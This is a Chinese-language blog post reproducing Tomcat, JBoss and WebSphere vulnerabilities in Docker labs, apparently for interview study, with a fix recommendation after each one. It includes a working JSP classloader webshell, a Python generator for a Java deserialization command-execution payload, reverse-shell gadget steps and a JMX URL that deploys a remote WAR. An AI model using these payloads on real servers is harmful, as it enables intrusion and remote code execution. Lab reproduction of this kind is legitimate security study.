常見中介軟體漏洞復現(上)

安全頻道發表於2022-03-18

面試的時候會經常問關於中介軟體的漏洞,這裡做一下漏洞的復現鞏固一下

在虛擬機器中安裝docker環境具體就不演示了

Tomcat漏洞

Tomcat 任意檔案寫入(CVE-2017-12615)

影響範圍: Tomcat 7.0.0-7.0.81(預設配置)

測試環境:Apache Tomcat v8.5.39

漏洞本質:Tomcat配置檔案/conf/web.xml 配置了可寫(readonly=false),導致我們可以往伺服器寫檔案。如果配置了預設 ,則在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有作業系統上的潛在危險的CVE-2017-12615漏洞

docker開啟環境

1645842869_621991b5e2ac0d1ca634b.png!small?1645842869350

docker ps
docker exec -ti 9eb90787a80f bash
cat conf/web.xml | grep readonly

1645845311_62199b3f8b87430066ca2.png!small?1645845310828

可以看到Tomcat配置檔案/conf/web.xml 配置了可寫(readonly=false)

抓個包,修改一下資料包改成put,寫入一個jsp檔案(因為tomcat不能解析php檔案)

可以看到成功寫入任意檔案

1645884018_621a32727adccf9608dc5.png!small?1645884018714

1645884047_621a328f087e0f19d1e4a.png!small?1645884047208

既然可以寫入任意檔案,那也可以寫入後門來getshell

payload

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

1645884539_621a347b8154c7639fa0e.png!small?1645884539746

修復建議:將readonly=true,預設為true。

Tomcat 遠端程式碼執行(CVE-2019-0232)

影響範圍:9.0.0.M1 ~ 9.0.17 ,  8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

測試環境:Apache Tomcat v8.5.39 、windows

漏洞本質:CVE-2019-0232漏洞是由於Tomcat CGI將命令列引數傳遞給Windows程式的方式存在錯誤,使得CHIServler被命令注入影響。該漏洞隻影響Windows平臺,要求啟用了CGIServlet和enableCmdLineArguments引數。但是CGIServlet和enableCmdLineArguments引數預設情況下都不啟用。

修改 \conf\web.xml配置檔案

376行和419行取消註釋並新增引數

1645888889_621a4579bb1320d5c1405.png!small?1645888889912

1645888946_621a45b26f2e172a3c4f2.png!small?1645888946563

<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>

1645889077_621a463555aad886e2118.png!small?1645889077496

1645889168_621a4690209f174e1f72e.png!small?1645889168328

在content.xml  19行處新增privileged屬性為true

1645889272_621a46f8917d6a2512d94.png!small?1645889272722

在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄,並建立xxx.bat檔案,名字內容任意。

bin目錄下startup.bat 開啟tomcat服務

訪問執行net user 命令

(net命令的路徑要寫全,直接寫net user,Tomcat控制檯會提示net不是內部命令,也不是可執行的程式,另 必須使用+號連線,使用空格,%2B都會執行失敗,控制檯報錯。)

這裡我是失敗了,,返回了500,有懂的師傅可以一起討論一下

1646487965_6223699d22c489ca0507f.png!small?1646487965331

修復建議:這個預設是關閉的,如果開啟了請關閉,若需使用請升級版本。

Tomcat 檔案包含漏洞(CVE-2020-1938)

影響範圍:7 ~ 7.0.099  、8 ~ 8.5.50  、9 ~ 9.0.30

測試環境:Apache Tomcat v9.0.30

漏洞本質:由於 Tomcat AJP 協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector 可以讀取或包含 Tomcat 上所有 webapp 目錄下的任意檔案,例如可以讀取 webapp 配置檔案或原始碼。此外在目標應用有檔案上傳功能的情況下,配合檔案包含的利用還可以達到遠端程式碼執行的危害。

1645948324_621b2da4bf5898907a7d8.png!small?1645948324022

nmap掃到還有一個AJP埠8009正在監聽

使用工具讀取 web.xml檔案

1645949320_621b3188dcbfcea289ec4.png!small?1645949320279

嘗試了一下getshell,放了一個jsp後門,但是不能rce,直接把檔案都讀出來了。

修復建議:將 Tomcat 升級到 9.0.31、8.5.51或 7.0.100 版本進行漏洞修復。如無法立即進行版本更新、或者是更老版本的使用者,建議直接關閉AJPConnector,或將其監聽地址改為僅監聽本機localhost。

Tomcat + 弱口令 && 後臺getshell漏洞

環境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml檔案中配置使用者的許可權和一個弱口令tomcat/tomcat:

Tomcat 7+的許可權有:

  • manager(後臺管理)

    • manager-gui擁有html頁面許可權

    • manager-status擁有檢視status的許可權

    • manager-script擁有text介面許可權(包括status許可權)

    • manager-jmx擁有jmx許可權(包括status許可權)

  • host-manager(虛擬主機管理)

    • admin-gui擁有html頁面許可權

    • admin-script擁有text介面許可權

<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

1645952048_621b3c30ce805379f664c.png!small?1645952048093

正常安裝的情況下,tomcat7.0.94中預設沒有任何使用者,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。

訪問 ,輸入弱口令tomcat/tomcat進入後臺(弱口令可以進行爆破)

1645953217_621b40c17f67d08ad6e42.png!small?1645953216936

寫一個jsp的木馬(見上),然後打包成war包,上傳的war會被自動解壓部署

jar -cvf shell.war shell.jsp

war包是用來進行Web開發時一個網站專案下的所有程式碼,包括前臺HTML/CSS/JS程式碼,以及後臺JavaWeb的程式碼。
當開發人員開發完畢時,就會將原始碼打包給測試人員測試,測試完後若要釋出則也會打包成War包進行釋出。War包
可以放在Tomcat下的webapps或word目錄,當Tomcat伺服器啟動時,War包即會隨之解壓原始碼來進行自動部署。

1645960449_621b5d01dbf1bad3441da.png!small?1645960449052

可以看到已經上傳上去了,接著使用蟻劍連線後門

1645960544_621b5d6081743582770ac.png!small?1645960543637

上傳的位置在webapps裡

1645960622_621b5dae312c12d2b48ed.png!small?1645960621326

修復建議:取消manager/html功能。若要使用,manager頁面應只允許本地IP訪問

JBoss漏洞

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

漏洞原理:該漏洞位於JBoss的HttpInvoker元件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化資料流進行反序列化,導致攻擊者可以通過精心設計的序列化資料來執行任意程式碼。但有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需使用者驗證在系統上執行任意命令,獲得伺服器的控制權。

該漏洞出現在 /invoker/readonly請求中,伺服器將使用者提交的POST內容進行了Java反序列化:

使用docker搭建漏洞環境

訪問 /invoker/readonly 返回500,說明頁面存在,此頁面存在反序列化漏洞。

1645962967_621b66d7c8918091641e8.png!small?1645962966999

使用工具 進行攻擊

首先使用nc建立一個監聽,然後使用工具

#生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽埠)
#訪問利用 
curl 

1645964994_621b6ec26a4505ffbeea9.png!small?1645964994683

直接獲取到root許可權

修復建議:

  • 刪除http-invoker.sar元件,路徑如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

  • 更新JBoss

JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)

漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over  Invocation Layer的HTTPServerILServlet.java檔案存在反序列化漏洞,遠端攻擊者可藉助特製的序列化資料利用該漏洞執行任意程式碼。

訪問/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL,說明頁面存在,此頁面存在反序列化漏洞

1645974894_621b956eb7970c9474978.png!small?1645974894873

因為都是反序列化漏洞,攻擊時方式和之前一樣,先生成一個序列化資料,然後通過包傳送,生成方式一樣

#生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser 
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽埠)
#訪問利用 
curl 

1646031097_621c70f9206e090fff97a.png!small?1646031097575

JBoss JMXInvokerServlet 反序列化漏洞

訪問 /invoker/JMXInvokerServlet

1646031960_621c745883df489be4b6f.png!small?1646031960709

說明介面開放,此介面存在反序列化漏洞

同樣這裡直接利用CVE-2017-12149生成的ser,傳送到 /invoker/JMXInvokerServlet介面中。

curl 

1646032584_621c76c8d59fff3b90671.png!small?1646032585179

JBoss EJBInvokerServlet 反序列化漏洞

訪問 /invoker/EJBInvokerServlet

1646055654_621cd0e63903d49c605c7.png!small?1646055654312

說明介面開放,此介面存在反序列化漏洞

同樣這裡直接利用CVE-2017-12149生成的ser,傳送到 /invoker/EJBInvokerServlet介面中。

curl 

Administration Console 弱口令 && 後臺getshell漏洞

在後臺管理控制檯爆破密碼

1646054970_621cce3ad6b9c7033efe8.png!small?1646054970831

登陸後臺後上傳war包,和tomcat的漏洞同理,寫好一個jsp木馬打包成war檔案

jar -cvf shell.war shell.jsp

1646055121_621cced11e48209cda9d6.png!small?1646055121162

1646055334_621ccfa6ab006c09ca50b.png!small?1646055335000

蟻劍連線

1646055420_621ccffc3b79be234697d.png!small?1646055420270

修復建議:

  • 1. 修改密碼 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

  • 2. 刪除Administration Console頁面。
    JBoss版本>=6.0,admin-console頁面路徑為: C:\jboss-6.1.0.Final\common\deploy\admin-console.war
    6.0之前的版本,路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

JMX Console未授權訪問

JMXConsole預設存在未授權訪問,直接點選JBoss主頁中的JMXConsole連結進入JMXConsole頁面。

在JMXConsole頁面點選jboss.system連結,在Jboss.system頁面中點選service=MainDeployer

1646058266_621cdb1adf668960b546b.png!small?1646058266917

進入service=MainDeployer頁面之後,找到methodIndex為17 or 19的deploy 填寫遠端war包地址進行遠端部署。

1646059927_621ce19775bbacc9c79de.png!small?1646059927476

(這裡點了invoke會跳到500,所以我直接在url構造上傳war包) HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war

1646064271_621cf28f7ef4107bc3d37.png!small?1646064271432

顯示這樣就代表上傳成功

1646055420_621ccffc3b79be234697d.png!small?1646055420270

修復建議:

  • 增加密碼措施,防止未授權訪問。

  • 刪除JMXConsole,後重啟JBoss   C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

WebSphere

WebSphere® Application Server 加速交付新應用程式和服務,它可以通過快速交付創新的應用程式來幫助企業提供豐富的使用者體驗。從基於開放標準的豐富的程式設計模型中進行選擇,以便更好地協調專案需求與程式設計模型功能和開發人員技能。

同樣docker模擬WebSphere7環境

docker search WebSphere7
docker pull iscrosales/websphere7
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

Java反序列化(CVE-2015-7450)

訪問8880埠,出現如下介面,則可能存在Java反序列化漏洞

1646470959_6223272fb3ed026daab31.png!small?1646470960119

首先利用指令碼加密想要執行的命令

import base64
from binascii import unhexlify
 
command = "要執行的命令"
serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
serObj += (chr(len(command)) + command).encode('ascii')
serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
serObjB64 = base64.b64encode(serObj).decode()
print(serObjB64)

訪問8880,並抓包,然後替換如下Payload進行復現。將指令碼輸出的serObjB64,替換到上面Payload中的params節點,其餘無需改變。

(不知道為什麼m.9是敏感詞彙,payload發不出來,參考一下別人的文章)[應用漏洞]CVE-2015-7450 WebSphere命令執行_不忘初心,護天下安全!-CSDN部落格

這裡我的將touch /tmp/1_Ry命令加密拼接到payload中,放包

1646479261_6223479d4e9c97264f760.png!small?1646479261623

或者利用python指令碼驗證該漏洞

1646480523_62234c8b4044ce083e23c.png!small

後面試了一下反彈shell或者寫入後門,好像都執行不了,有大佬知道這個漏洞在實戰中的利用嗎

修復建議:

  • 7.x版本已不提供支援,因此選擇升級版本。

  • 若版本還在IBM支援範圍,可選擇打補丁。

弱口令 && 後臺Getshell

在6.x至7.0版本,後臺登陸只需要輸入 admin作為使用者標識,無需密碼,即可登陸後臺。

1646484615_62235c874da7c212089b4.png!small?1646484615553

上傳war包後一直點下一步直到contex Root,然後繼續下一步

1646484686_62235cce470daded58e28.png!small?1646484686682

1646484779_62235d2b20104726a82cb.png!small?1646484779342

1646485081_62235e59ea2fc67020f03.png!small?1646485082239

1646485131_62235e8bb67be543c35a4.png!small?1646485131959

注意是9080埠,協議是http

1646485335_62235f574b788a3922ee1.png!small?1646485335508

修復建議

  • 設定密碼。


來自 “ Freebuf ”, 原文作者:lryfish;原文連結:https://www.freebuf.com/vuls/323927.html,如有侵權,請聯絡管理員刪除。

相關文章